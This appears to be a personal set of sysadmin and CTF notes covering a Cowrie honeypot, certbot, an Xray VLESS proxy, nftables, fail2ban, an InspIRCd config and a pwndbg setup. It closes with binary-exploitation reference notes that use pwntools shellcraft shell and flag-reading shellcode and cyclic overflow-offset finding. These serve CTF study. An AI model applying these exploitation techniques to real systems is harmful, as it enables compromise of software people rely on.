Cowrie Honeypot Setup

Cowrie is an SSH/Telnet honeypot. It should be treated as hostile-facing software, not as a normal trusted application.

This note records a minimal deployment using a dedicated user, Python venv, and systemd.

Example values:

• honeypot user: cowrie
• internal Cowrie SSH port: 2222
• public SSH trap port: 22 or 2222, depending on firewall/NAT design
• fake hostname shown to attackers: backup-server

Install

Create a dedicated user:

1
2

sudo adduser --disabled-password --gecos "" cowrie
sudo -iu cowrie

Clone and install dependencies:

1
2
3
4
5
6

git clone https://github.com/cowrie/cowrie.git
cd cowrie
python -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

Configure

1
2

cp etc/cowrie.cfg.dist etc/cowrie.cfg
vim etc/cowrie.cfg

Minimal config:

1
2
3
4
5

[honeypot]
hostname = backup-server

[ssh]
listen_endpoints = tcp:2222:interface=0.0.0.0

Do not run Cowrie as root just to bind port 22. Keep Cowrie on a high port and forward traffic if needed.

systemd Unit

1
2
3
4
5
6
7
8
9
10
11
12
13
14

[Unit]
Description=Cowrie SSH Honeypot
After=network.target

[Service]
User=cowrie
Group=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/cowrie-env/bin/python /home/cowrie/cowrie/src/cowrie/start.py --nodaemon
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

Enable it:

1
2

sudo systemctl daemon-reload
sudo systemctl enable --now cowrie

Logs

1
2

journalctl -u cowrie -e --no-pager
sudo -iu cowrie tail -f ~/cowrie/var/log/cowrie/cowrie.json

The JSON log is usually the most useful file for later analysis.

Firewall Or Port Forwarding

If Cowrie listens on 2222, a simple redirect can expose it as port 22:

1
2
3
4
5
6

table ip nat {
    chain prerouting {
        type nat hook prerouting priority dstnat;
        tcp dport 22 redirect to :2222
    }
}

Only do this if the real SSH service is moved somewhere else, such as 22222.

Notes

• Do not reuse real hostnames, banners, usernames, or internal paths.
• Logs can contain malicious payloads. Treat them as untrusted input.
• Keep the honeypot isolated from important credentials and services.

SSL Certificate Renewal Notes

This note records a simple SSL certificate workflow with certbot: acquire, verify, renew, and deploy.

The example domain is api.example.com. Replace it with your own domain.

Acquire A Certificate

For a standalone HTTP-01 challenge, port 80 must be reachable and not occupied by another process:

1

sudo certbot certonly --standalone -d api.example.com

If Caddy or Nginx is already using port 80, stop it temporarily:

1
2
3

sudo systemctl stop caddy
sudo certbot certonly --standalone -d api.example.com
sudo systemctl start caddy

Check The Certificate

1
2
3
4

sudo certbot certificates
sudo openssl x509 \
  -in /etc/letsencrypt/live/api.example.com/fullchain.pem \
  -noout -dates

Enable Renewal

1
2

sudo systemctl enable --now certbot.timer
systemctl list-timers | grep certbot

Run a dry test:

1

sudo certbot renew --dry-run

Deploy Hook

Some services cannot read directly from /etc/letsencrypt/live/..., or they need certificate files copied into a service-owned directory.

Example hook for a service called myapp:

1
2
3
4
5
6
7
8
9
10
11

#!/usr/bin/env bash
set -euo pipefail

DOMAIN="api.example.com"
TARGET_DIR="/etc/myapp/cert"

install -d -m 0750 "$TARGET_DIR"
install -m 0644 "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" "$TARGET_DIR/fullchain.pem"
install -m 0600 "/etc/letsencrypt/live/$DOMAIN/privkey.pem" "$TARGET_DIR/privkey.pem"

systemctl reload myapp

Install it as a deploy hook:

1
2

sudo install -m 0755 deploy-myapp-cert.sh \
  /etc/letsencrypt/renewal-hooks/deploy/myapp.sh

Xray Reality / VLESS Setup

This note records a minimal Xray Reality / VLESS setup.

The example values are fake but shaped like real values, so the config is easier to read than a wall of placeholders.

Example environment:

• server: vpn.example.com
• listen port: 443
• client UUID: 11111111-2222-4333-8444-555555555555
• Reality private key: example_private_key_do_not_use
• Reality public key: example_public_key_do_not_use
• Reality short id: a1b2c3d4e5f60708
• camouflage target: www.microsoft.com:443

Replace all of them.

Service Commands

Check the service:

1
2

sudo systemctl status xray
sudo journalctl -u xray -e --no-pager

After editing the config, test it before restart:

1
2

sudo xray run -test -config /usr/local/etc/xray/config.json
sudo systemctl restart xray

Generate IDs And Keys

1
2
3

xray uuid
xray x25519
openssl rand -hex 8

Keep the private key on the server. Put the public key in the client config.

Server Config Example

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

{
  "inbounds": [
    {
      "listen": "0.0.0.0",
      "port": 443,
      "protocol": "vless",
      "settings": {
        "clients": [
          {
            "id": "11111111-2222-4333-8444-555555555555",
            "flow": "xtls-rprx-vision"
          }
        ],
        "decryption": "none"
      },
      "streamSettings": {
        "network": "tcp",
        "security": "reality",
        "realitySettings": {
          "show": false,
          "dest": "www.microsoft.com:443",
          "xver": 0,
          "serverNames": ["www.microsoft.com"],
          "privateKey": "example_private_key_do_not_use",
          "shortIds": ["a1b2c3d4e5f60708"]
        }
      }
    }
  ],
  "outbounds": [
    { "protocol": "freedom" }
  ]
}

Firewall

Only the public entry port needs to be open:

1

sudo nft add rule inet filter input tcp dport 443 accept

If SSH uses a custom port such as 22222, keep that rule separate and preferably source-restricted.

Client-Side Fields

A client profile usually needs:

1
2
3
4
5
6
7
8

address: vpn.example.com
port: 443
uuid: 11111111-2222-4333-8444-555555555555
flow: xtls-rprx-vision
security: reality
sni: www.microsoft.com
publicKey: example_public_key_do_not_use
shortId: a1b2c3d4e5f60708

Notes

• privateKey, UUID, and short id are secrets. Do not publish real values.
• Time sync matters. If the client and server clocks are too far apart, debugging becomes confusing.
• Start with a direct connection first. Add extra reverse proxies only after the base config works.

VPS nftables Firewall With Docker

This note records a small nftables firewall setup for a VPS that also runs Docker.

The goal is not to write a clever universal ruleset. The goal is simpler: keep the host input path small, expose only the ports that should be public, and avoid fighting Docker's own NAT rules.

The example uses documentation IP addresses:

• 203.0.113.10 as the admin's trusted IP
• 198.51.100.20 as the server IP
• 22222 as the SSH port

Replace them with your own values.

Basic Rules

Use the inet family so the same table can handle IPv4 and IPv6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

#!/usr/sbin/nft -f

flush ruleset

table inet filter {
    set trusted_ipv4 {
        type ipv4_addr
        flags interval
        elements = {
            203.0.113.10,
        }
    }

    chain input {
        type filter hook input priority filter; policy drop;

        iif "lo" accept
        ct state established,related accept
        ct state invalid drop

        ip protocol icmp accept
        ip6 nexthdr icmpv6 accept

        # SSH: only allow the trusted admin IP.
        ip saddr @trusted_ipv4 tcp dport 22222 accept

        # Public web entry.
        tcp dport { 80, 443 } accept
    }

    chain forward {
        type filter hook forward priority filter; policy accept;
    }

    chain output {
        type filter hook output priority filter; policy accept;
    }
}

Docker Notes

Docker manages its own forwarding and NAT rules. If you blindly flush everything and then set forward to drop, containers may lose network access or published ports may stop working.

For a small VPS, I usually keep the boundary simple:

• protect the host through the input chain
• let Docker manage container NAT
• expose public services through Caddy on 80/443
• bind internal app ports to 127.0.0.1 when possible

Example Docker port mapping:

1
2

ports:
  - "127.0.0.1:8080:8080"

Then let Caddy publish it over HTTPS.

Apply Safely

Validate before loading:

1

sudo nft -c -f /etc/nftables.conf

Protect SSH With Fail2ban

Public SSH servers are constantly scanned and brute-forced. Changing the SSH port is not real security by itself, but it reduces background noise. fail2ban adds an actual defensive layer by watching failed login attempts and temporarily banning abusive IP addresses.

This note records a minimal setup for SSH protection with fail2ban and systemd logs.

Install Fail2ban

Arch Linux:

1

sudo pacman -S fail2ban

Debian/Ubuntu:

1

sudo apt install fail2ban

Enable the service:

1

sudo systemctl enable --now fail2ban

Optional: Change SSH Port

Edit the SSH daemon config:

1

sudo vim /etc/ssh/sshd_config

Set a non-default port. This article uses 22222 as an example; replace it with your own value.

1

Port 22222

Before restarting SSH, keep your current SSH session open. A bad config or firewall mistake can lock you out.

Validate the config:

1

sudo sshd -t

Restart SSH:

1

sudo systemctl restart sshd

Some distributions use ssh instead of sshd as the service name:

1

sudo systemctl restart ssh

Test login from another terminal before closing the old session:

1

ssh -p 22222 user@example.com

Configure Fail2ban For SSH

Create a local jail config instead of editing the packaged defaults:

1

sudo vim /etc/fail2ban/jail.d/sshd.local

Minimal config:

1
2
3
4

[sshd]
enabled = true
port = 22222
backend = systemd

If you keep SSH on the default port, use:

1

port = ssh

Restart fail2ban:

1

sudo systemctl restart fail2ban

Check Status

List enabled jails:

1

sudo fail2ban-client status

Check the SSH jail:

1

sudo fail2ban-client status sshd

View logs:

1

sudo journalctl -u fail2ban -e

On systems where fail2ban logs to a file:

1

sudo less /var/log/fail2ban.log

Unban An IP

If you accidentally ban yourself, unban the IP from another trusted session:

1

sudo fail2ban-client set sshd unbanip 203.0.113.10

203.0.113.10 is a documentation example address. Replace it with the real IP you need to unban.

Safer SSH Baseline

Fail2ban is only one layer. These SSH settings are usually worth enabling too:

1
2
3

PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes

After changing SSH config, always validate and restart:

1
2

sudo sshd -t
sudo systemctl restart sshd

Notes

• Do not rely on port changes as the only protection.
• Prefer SSH keys over passwords.
• Keep an existing SSH session open while changing SSH and firewall settings.
• If a firewall is enabled, allow the SSH port before restarting SSH.
• Use /etc/fail2ban/jail.d/*.local files for local overrides so package updates do not overwrite your changes.

InspIRCd IRC Server With TLS

This note records a minimal InspIRCd configuration for running a small IRC server with TLS support. The example exposes a plain client port on 6667 and a TLS client port on 6697.

The TLS setup uses the ssl_gnutls module and certificate files stored under /etc/inspircd/cert/.

Requirements

Install InspIRCd and make sure the GnuTLS SSL module is available:

1

sudo pacman -S inspircd

On Debian/Ubuntu-style systems, the package name may differ:

1

sudo apt install inspircd

You also need a certificate and private key. For a public domain, use Let's Encrypt or another ACME client. The config below expects:

1
2

/etc/inspircd/cert/fullchain.pem
/etc/inspircd/cert/privkey.pem

TLS Configuration

Add or adapt the following server, module, TLS profile, bind, admin, class, type, and oper blocks in your InspIRCd config.

Do not publish a real oper password. Generate a strong password or use InspIRCd's password hashing support if available in your setup.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<server
  name="irc.example.com"
  description="Example IRC Server"
  network="ExampleNet"
>

<module name="ssl_gnutls">

<sslprofile
  name="DefaultTLS"
  provider="gnutls"
  certfile="/etc/inspircd/cert/fullchain.pem"
  keyfile="/etc/inspircd/cert/privkey.pem"
>

<bind address="" port="6667" type="clients">
<bind address="" port="6697" type="clients" ssl="DefaultTLS">

<admin
  name="Example Admin"
  nick="ExampleAdmin"
  email="admin@example.com"
>

<class name="Class" commands="*" privs="*">
<type name="NetAdmin" classes="Class" modes="+s +c">

<oper
  name="admin"
  password="REPLACE_WITH_A_STRONG_PASSWORD_OR_HASH"
  host="*@*"
  type="NetAdmin"
>
</oper>

</type>
</class>
</admin>
</bind>
</bind>
</sslprofile>
</module>
</server>

Check The Config

Before restarting the service, run InspIRCd's config test if your package provides it:

1

sudo inspircd --configtest

If your package uses a different wrapper, check the service logs after restart:

1
2
3
4

systemctl restart inspircd
systemctl status inspircd
systemctl stop inspircd
journalctl -u inspircd -e

Connect

Plain IRC:

1
2
3

server: irc.example.com
port: 6667
TLS: off

TLS IRC:

1
2
3

server: irc.example.com
port: 6697
TLS: on

With WeeChat:

1
2

/server add examplenet irc.example.com/6697 -ssl
/connect examplenet

With irssi:

1

/connect -ssl irc.example.com 6697

Oper Login

After connecting as a normal user, authenticate as an IRC operator:

1

/OPER admin <password>

If login succeeds, the user receives the privileges from the configured NetAdmin type.

Notes

• Use port 6697 for TLS clients. This is the common IRC-over-TLS port.
• Keep 6667 only if you intentionally want to allow plaintext clients.
• Restrict host="*@*" for real deployments. A narrower host mask is safer.
• Avoid committing real passwords into blog posts, git repositories, or public config examples.
• Prefer hashed oper passwords if your InspIRCd version and modules support them.

My Pwndbg GDB Init Setup

This is my current .gdbinit setup for binary exploitation and reverse engineering. It loads pwndbg, switches disassembly to Intel syntax, follows child processes after fork, and automatically opens separate tmux panes for disassembly, stack, backtrace, registers, and an IPython scratch pane.

Requirements

Install these first:

• gdb
• pwndbg
• tmux
• ipython optional, only used for the scratch pane

The config assumes pwndbg is installed at:

1

/usr/share/pwndbg/gdbinit.py

If your pwndbg install path is different, change the first line of the config.

Install

Put the following content in ~/.gdbinit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

source /usr/share/pwndbg/gdbinit.py
set history save on
set follow-fork-mode child
set disassembly-flavor intel

set $mybase1 = 0x0000555555554000
set $mybase = 0x7ffff7ffc000

python
import os
import atexit
import pwndbg
from pwndbg.commands.context import contextoutput

if 'TMUX' in os.environ:
    created_panes = []

    def create_pane(split_cmd):
        output = os.popen(split_cmd).read().strip()
        if not output: return None, None
        pane_id, tty = output.split(":")
        created_panes.append(pane_id)
        return pane_id, tty

    p_disasm_id, p_disasm_tty = create_pane('tmux split-window -vb -P -F "#{pane_id}:#{pane_tty}" -l 75% -d "cat -"')
    p_stack_id, p_stack_tty = create_pane(f'tmux split-window -v -P -F "#{{pane_id}}:#{{pane_tty}}" -l 40% -t {p_disasm_id} -d "cat -"')
    p_bt_id, p_bt_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -t -1 -l 30% -d "cat -"')
    p_regs_id, p_regs_tty = create_pane(f'tmux split-window -h -P -F "#{{pane_id}}:#{{pane_tty}}" -t {p_stack_id} -l 30% -d "cat -"')
    p_ipy_id, p_ipy_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -l 30% -d "ipython"')

    if p_disasm_tty: contextoutput("disasm", p_disasm_tty, True, 'top', False)
    if p_stack_tty:  contextoutput("stack", p_stack_tty, True, 'top', False)
    if p_bt_tty:     contextoutput("backtrace", p_bt_tty, True, 'top', False)
    if p_regs_tty:   contextoutput("regs", p_regs_tty, True, 'top', False)

    if p_stack_tty: contextoutput("legend", p_stack_tty, True)
    if p_regs_tty:  contextoutput("expressions", p_regs_tty, True, 'top', False)

    def cleanup_panes():
        for pid in created_panes:
            os.system(f"tmux kill-pane -t {pid} >/dev/null 2>&1")

    atexit.register(cleanup_panes)
else:
    print("\n[\033[33m*\033[0m] Not running inside TMUX. Standard pwndbg output will be used.")

pwndbg.config.context_disasm_lines.value = 25
pwndbg.config.context_stack_lines.value = 18
end

Usage

Start a tmux session first:

1

tmux

Then run GDB or pwndbg normally:

1

gdb ./chall

or:

1

pwndbg ./chall

When GDB starts inside tmux, the config creates panes for:

• disasm: current instruction context
• stack: stack view plus pwndbg legend
• backtrace: call stack
• regs: registers and expressions
• ipython: scratch Python shell

When GDB exits, the created tmux panes are killed automatically through the atexit cleanup hook.

If GDB is not running inside tmux, no panes are created and pwndbg falls back to the normal inline context output.

Important Lines

1

set history save on

Keeps GDB command history across sessions.

1

set follow-fork-mode child

After fork(), GDB follows the child process. This is useful for fork-based CTF services where the vulnerable logic runs in the child.

1

set disassembly-flavor intel

Uses Intel syntax instead of AT&T syntax.

1
2

pwndbg.config.context_disasm_lines.value = 25
pwndbg.config.context_stack_lines.value = 18

Controls how much disassembly and stack context pwndbg prints.

Base Address Helpers

These two lines are personal scratch variables:

1
2

set $mybase1 = 0x0000555555554000
set $mybase = 0x7ffff7ffc000

They are not required. I use them as quick base-address anchors while debugging PIE binaries or shared libraries. You can remove them or replace them with values from piebase, vmmap, or a leak.

Example usage:

1
2

x/10i $mybase1 + 0x1234
b *($mybase1 + 0x19e3)

Adjusting The Layout

The pane sizes are controlled by tmux split-window -l:

1
2
3

'tmux split-window -vb ... -l 75% ...'
'tmux split-window -v ... -l 40% ...'
'tmux split-window -h ... -l 30% ...'

Change these percentages if the panes are too large or too small for your monitor.

If you do not want the IPython pane, remove this line:

1

p_ipy_id, p_ipy_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -l 30% -d "ipython"')

Troubleshooting

If GDB prints Not running inside TMUX, start tmux first and launch GDB from inside it.

If pwndbg fails to load, verify the path:

1

ls /usr/share/pwndbg/gdbinit.py

If ipython fails, install it or remove the IPython pane line.

If the panes stay open after a crash, close them manually:

1

tmux kill-pane -t <pane_id>

Yazi File Manager Setup

Yazi is a terminal file manager written in Rust. It is fast, keyboard-driven, and works well as a lightweight replacement for opening a full GUI file manager when working inside a terminal or SSH session.

This note records a minimal Linux setup: install the standalone binary and add a shell wrapper so that exiting Yazi can change the current shell directory.

Installation

Download the latest musl build from the official release page:

1

wget https://github.com/sxyazi/yazi/releases/latest/download/yazi-x86_64-unknown-linux-musl.zip

Extract it:

1
2

unar yazi-x86_64-unknown-linux-musl.zip
cd yazi-x86_64-unknown-linux-musl

Install both binaries into a directory in $PATH:

1

sudo mv yazi ya /usr/local/bin/

Check that it works:

1
2

yazi --version
ya --version

Shell Wrapper

By default, a terminal file manager cannot directly change the parent shell's current directory. Yazi solves this by writing the final directory to a temporary file. A shell function can read that file after Yazi exits and then cd there.

Add this function to .bashrc, .zshrc, or the shell config you use:

1
2
3
4
5
6
7

function y() {
	local tmp="$(mktemp -t "yazi-cwd.XXXXXX")" cwd
	command yazi "$@" --cwd-file="$tmp"
	IFS= read -r -d '' cwd < "$tmp"
	[ "$cwd" != "$PWD" ] && [ -d "$cwd" ] && builtin cd -- "$cwd"
	rm -f -- "$tmp"
}

Reload the shell configuration:

1

source ~/.zshrc

For Bash, use:

1

source ~/.bashrc

Now start Yazi with:

1

y

When you quit Yazi, the terminal will stay in the directory you were viewing.

Notes

• yazi is the file manager itself.
• ya is Yazi's helper command, used for package/plugin management and integrations.
• The musl build is convenient because it is mostly self-contained and works on many Linux distributions.
• If sudo mv fails, make sure /usr/local/bin exists and is included in $PATH.

Update

To update, download the latest release again and replace the old yazi and ya binaries:

1
2
3
4

wget https://github.com/sxyazi/yazi/releases/latest/download/yazi-x86_64-unknown-linux-musl.zip
unar yazi-x86_64-unknown-linux-musl.zip
cd yazi-x86_64-unknown-linux-musl
sudo mv yazi ya /usr/local/bin/

x86_64 Architecture & Stack

Byte Order & Packing

• Most Linux CTF binaries on x86/x86_64 are little-endian: the least significant byte is stored at the lowest address.
• 0x40123a packed as 64-bit little-endian becomes 3a 12 40 00 00 00 00 00.
• This matters for partial overwrites: overflowing byte-by-byte overwrites the low bytes of a saved pointer first.

1
2
3
4
5
6
7
8

from pwn import *

p8(0x41)                 # b'A'
p16(0x1234)              # b'4\x12'
p32(0xdeadbeef)          # b'\xef\xbe\xad\xde'
p64(0x40123a)            # b':\x12@\x00\x00\x00\x00\x00'

u64(leak.ljust(8, b'\x00'))

Registers

• word = 2 bytes, dword = 4 bytes, qword = 8 bytes
• RBP: frame/base pointer, RSP: stack pointer, RIP: instruction pointer.
• Writing to 32-bit registers (e.g., EAX) automatically clears the upper 32 bits of the corresponding 64-bit register (RAX). xor EAX, EAX is equivalent to xor RAX, RAX but has a shorter encoding.

Memory access sizes:

1
2
3
4

mov [RAX], bl    ; 1 byte
mov [RAX], bx    ; 2 bytes (word)
mov [RAX], ebx   ; 4 bytes (dword)
mov [RAX], rbx   ; 8 bytes (qword)

Calling Convention (SysV ABI)

• Arguments: RDI, RSI, RDX, RCX, R8, R9.
• Return Value: RAX (with RDX potentially holding high bits or extra data).
• Syscall arguments: RDI, RSI, RDX, R10, R8, R9; syscall number in RAX.
• RCX and R11 are clobbered by syscall.
• x86_32: Arguments are passed via the stack in right-to-left order.

1
2

man syscall
grep -R "__NR_execve" /usr/include/asm* /usr/include/x86_64-linux-gnu/asm* 2>/dev/null

REX.W Prefix (0x48)

The REX prefix range is 0x40-0x4F (0100 WRXB), used to extend x86 instructions to 64-bit:

• W: Set to 1 for 64-bit operations.
• R, X, B: Extension for register addressing (R8-R15).

mov RDI, RSP requires a REX prefix with W=1 → 0100 1000 = 0x48.

Stack Frame Layout

• RBP (Register): Points to the bottom of the current function stack frame. Local variables are accessed relative to it (e.g., [RBP - 0x10]).
• saved RBP (Stack Data): A backup of the caller's RBP, used to restore the previous frame upon return.

Prologue & Epilogue

1
2
3
4
5
6
7
8

; Prologue (Entering Function B)
push RBP        ; Save Caller A's RBP -> becomes saved RBP
mov RBP, RSP    ; Establish B's stack frame

; Epilogue (Exiting Function B) - Equivalent to 'leave; ret'
mov RSP, RBP    ; Clean up local variables
pop RBP         ; Restore Caller A's RBP
ret             ; Return to Caller A

1
2
3
4
5
6
7
8
9
10
11

High Addr  +-------------------------------+
           |  Caller's Stack Frame         |
           +-------------------------------+
           |  return address               |  ← call instruction auto-push
           +-------------------------------+  ← reg RBP points here
           |  saved RBP                    |  ← stores caller's RBP
           +-------------------------------+
           |  local variables              |  ← accessed via [RBP - offset]
           +-------------------------------+  ← reg RSP (stack top)
Low Addr   |  (unused)                     |
           +-------------------------------+

Memory Management

Segments

• .text: Executable code.
• .data: Initialized global writable data.
• .rodata: Read-only data (strings, constants).
• .bss: Uninitialized global writable data.
• stack: Local variables and function metadata.
• heap: Dynamically allocated memory via malloc().

Viewing memory maps:

1

cat /proc/<pid>/maps

Von Neumann Architecture

In memory, bytes can represent either code or data; the CPU distinguishes them solely based on RIP. Bytes pointed to by RIP are executed as opcodes, while others accessed via pointers are treated as data.

Security Mitigations

Checksec Reading

checksec hints at the easiest path, but it is not a proof. A binary with executable stack may still be protected by SHSTK/IBT, input filters, unstable stack addresses, or non-return exits.

ELF & Dynamic Linking

• ELF header: architecture, entry point, program headers.
• Program headers: loader view; maps segments into memory (LOAD, GNU_STACK, GNU_RELRO).
• Section headers: linker/debugger view; useful for .text, .plt, .got, .bss, symbols.
• PLT: stubs in the binary used to call imported functions.
• GOT: table of resolved function/data addresses.
• Lazy binding: first PLT call jumps into the dynamic resolver, which writes the real libc address into GOT.
• RELRO: controls whether relocation/GOT pages become read-only after relocation.

1
2
3
4
5
6
7
8
9

file ./chall
readelf -h ./chall
readelf -l ./chall
readelf -S ./chall
readelf -s ./chall
readelf -r ./chall       # relocations / GOT targets
objdump -d ./chall | less
objdump -R ./chall       # dynamic relocations
strings -a ./chall | less

Address Translation

• VA: virtual address used at runtime.
• RVA / offset inside module: runtime_addr - module_base.
• File offset: byte offset in the ELF file; not always equal to RVA because segments have mapping alignment.

In a non-PIE ELF, .text often loads near 0x400000. In a PIE ELF, disassemblers may show offsets such as 0x1d08; runtime address is pie_base + 0x1d08.

1
2
3
4

piebase
breakrva 0x1d08
vmmap
xinfo 0x555555555d08

Binary Analysis & Tools

CLI Tools

1
2
3
4
5
6
7
8
9

file hello        # Identify arch, linking, stripped status
strip hello       # Remove symbols
nm -a hello       # Show symbol tables
checksec --file=hello
ltrace ./hello    # Trace library calls
strace ./hello    # Trace system calls
strings -a hello  # Extract printable strings
readelf -a hello  # ELF metadata
objdump -d hello  # Disassembly

Reverse Engineering Workflow

1. Identify: file, checksec, readelf -h, rabin2 -I.
2. Triage strings/imports: strings, rabin2 -zz, rabin2 -i, IDA/Ghidra strings window.
3. Find control points: main, parser loop, comparison branches, win, system, /bin/sh, open/read/write, strcmp, memcmp, printf.
4. Recover input format: header magic, version, command/directive fields, length fields, endian, per-record size.
5. Trace data flow: where user bytes land, how size is computed, where pointers are stored, whether data is copied, validated, freed, or printed.
6. Convert checks into constraints: compare constants, printable-byte filters, checksums, jump tables, index math, bounds checks.
7. Exploit mapping: choose leak/write/control-flow primitive that matches mitigations.

Useful questions while reversing:

• Is the binary stripped? If not, start with symbols. If stripped, start with imports, strings, and cross-references.
• Does the program return normally, call exit, or loop forever? Return-address hijacking only triggers on a return path.
• Does a length check use signed or unsigned comparison? Which width: byte, word, dword, or qword?
• Are there hidden repeat/backdoor paths that re-enter the vulnerable function before canary validation?
• Does a parser use a switch/jump table? Can an out-of-range or special directive reach extra code?

radare2 Quick Reference

1
2
3
4
5
6
7
8
9

rax2 0x28                         # Hex/decimal conversion
rabin2 -I ./chall                 # Binary info
rabin2 -z ./chall                 # Data-section strings
rabin2 -zz ./chall                # All strings
rabin2 -i ./chall                 # Imports
rabin2 -e ./chall                 # Entry points
r2 -A ./chall                     # Analyze and open
r2 -w ./chall                     # Open writable for patching
r2 -A -q -c "pdf @ main" ./chall # Non-interactive disassembly

Inside r2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

aaa             # Full analysis
afl             # List functions
s main          # Seek to symbol/address
s -             # Seek back
pdf             # Print current function
pdf @ sym.main  # Print a function
pd 20           # Print 20 instructions
px 64           # Hexdump
iz              # Strings in data sections
izz             # Strings in whole binary
axt @ addr      # Cross-references to address
axf @ addr      # Cross-references from address
VV              # Visual graph
wx 909090       # Patch raw bytes (requires -w)
wa nop          # Assemble and patch instruction (requires -w)

Patching Notes

• Patching data is safer than patching code when the target check compares constants or file-format bytes.
• For code patches, inspect instruction length first; replacing a longer conditional branch with shorter bytes needs padding with nop.
• In non-PIE ELF, runtime VA is often near file mapping base 0x400000; still convert VA to file offset using program headers or tooling instead of guessing.

1
2
3

rasm2 -a x86 -b 64 "nop"
rasm2 -a x86 -b 64 -d "90"
objdump -d -Mintel ./chall | less

Pwndbg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

pwndbg /path/to/binary    # Launch
start                     # Break at main (fails if no main symbol)
starti                    # Break at first instruction (initialization code)
entry                     # Break at ELF entry point
info functions            # List all analyzed function symbols
info frame                # Show current stack frame
piebase                   # Show PIE base address
vmmap                     # Show memory layout (r-x, rw-, etc.)
breakrva 0x19e3           # Break at Relative Virtual Address (useful for PIE)
stack                     # Show stack
canary                    # Print and find canaries on the stack
context <section>         # Show specific context window
checksec                  # Check for security features (NX, ASLR, PIE, Canary)
cyclic 100                # Generate 100-byte De Bruijn sequence
cyclic -l 0x6161616c      # Find overflow offset using crash address
retaddr                   # Highlight return addresses in the current stack frame
rop                       # Simple ROP Gadget search
got                       # Show GOT state (resolved vs unresolved)
plt                       # View Procedure Linkage Table
heap                      # Overview of all heap chunks and their status
bins                      # View free lists (fastbins, unsorted, small, large, tcache)
arena                     # View detailed structure of the main arena (malloc_state)

p $rsp                    # Show current stack pointer
disass main               # Disassemble 'main' function
break *main+123           # Breakpoint at main+123

my ~/.gdbinit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

source /usr/share/pwndbg/gdbinit.py
set history save on
set follow-fork-mode child
set disassembly-flavor intel

# may be useless
set $mybase1 = 0x0000555555554000
set $mybase = 0x7ffff7ffc000

python
import os
import atexit
import pwndbg
from pwndbg.commands.context import contextoutput

if 'TMUX' in os.environ:
    created_panes = []

    def create_pane(split_cmd):
        output = os.popen(split_cmd).read().strip()
        if not output: return None, None
        pane_id, tty = output.split(":")
        created_panes.append(pane_id)
        return pane_id, tty

    p_disasm_id, p_disasm_tty = create_pane('tmux split-window -vb -P -F "#{pane_id}:#{pane_tty}" -l 75% -d "cat -"')
    p_stack_id, p_stack_tty = create_pane(f'tmux split-window -v -P -F "#{{pane_id}}:#{{pane_tty}}" -l 40% -t {p_disasm_id} -d "cat -"')
    p_bt_id, p_bt_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -t -1 -l 30% -d "cat -"')
    p_regs_id, p_regs_tty = create_pane(f'tmux split-window -h -P -F "#{{pane_id}}:#{{pane_tty}}" -t {p_stack_id} -l 30% -d "cat -"')
    p_ipy_id, p_ipy_tty = create_pane('tmux split-window -h -P -F "#{pane_id}:#{pane_tty}" -l 30% -d "ipython"')

    if p_disasm_tty: contextoutput("disasm", p_disasm_tty, True, 'top', False)
    if p_stack_tty:  contextoutput("stack", p_stack_tty, True, 'top', False)
    if p_bt_tty:     contextoutput("backtrace", p_bt_tty, True, 'top', False)
    if p_regs_tty:   contextoutput("regs", p_regs_tty, True, 'top', False)

    if p_stack_tty: contextoutput("legend", p_stack_tty, True)
    if p_regs_tty:  contextoutput("expressions", p_regs_tty, True, 'top', False)

    def cleanup_panes():
        for pid in created_panes:
            os.system(f"tmux kill-pane -t {pid} >/dev/null 2>&1")

    atexit.register(cleanup_panes)
else:
    print("\n[\033[33m*\033[0m] Not running inside TMUX. Standard pwndbg output will be used.")

pwndbg.config.context_disasm_lines.value = 25
pwndbg.config.context_stack_lines.value = 18
end

pwntools

1
2
3
4
5
6
7
8
9
10
11
12
13

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = gdb.debug("./vuln", gdbscript="b *main+1\nc")
p.send(cyclic(123))
offset = cyclic_find(0x6161616a) # Finds 'jaaa'

import IPython
IPython.embed() # Launch IPython
# leak  = u64(p.recvline(keepends=False).ljust(8, b'\x00'))

sc = asm(shellcraft.sh())
sc = asm(shellcraft.cat("/flag"))
sc = asm(shellcraft.chmod("/flag", 0o444))

View shellcraft:

1
2
3

pwn shellcraft -l
# Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocessed code, escape{d} hex string
pwn shellcraft amd64.linux.sh -f d

De Bruijn Sequence (Cyclic)

A De Bruijn sequence \(B(k, n)\) is a cyclic sequence where every possible string of length \(n\) over an alphabet of size \(k\) appears exactly once.

• Why it's used: When a binary crashes due to a buffer overflow, the RIP will be overwritten by a 4 or 8-byte chunk of the sequence. Since every chunk is unique, cyclic_find can instantly determine the exact offset needed for the exploit.

Crash-offset workflow:

1
2
3
4
5
6
7
8
9
10

from pwn import *

context.arch = "amd64"
p = process("./chall")
p.send(cyclic(300))
p.wait()

# In GDB/pwndbg, read overwritten RIP/RSP value, then:
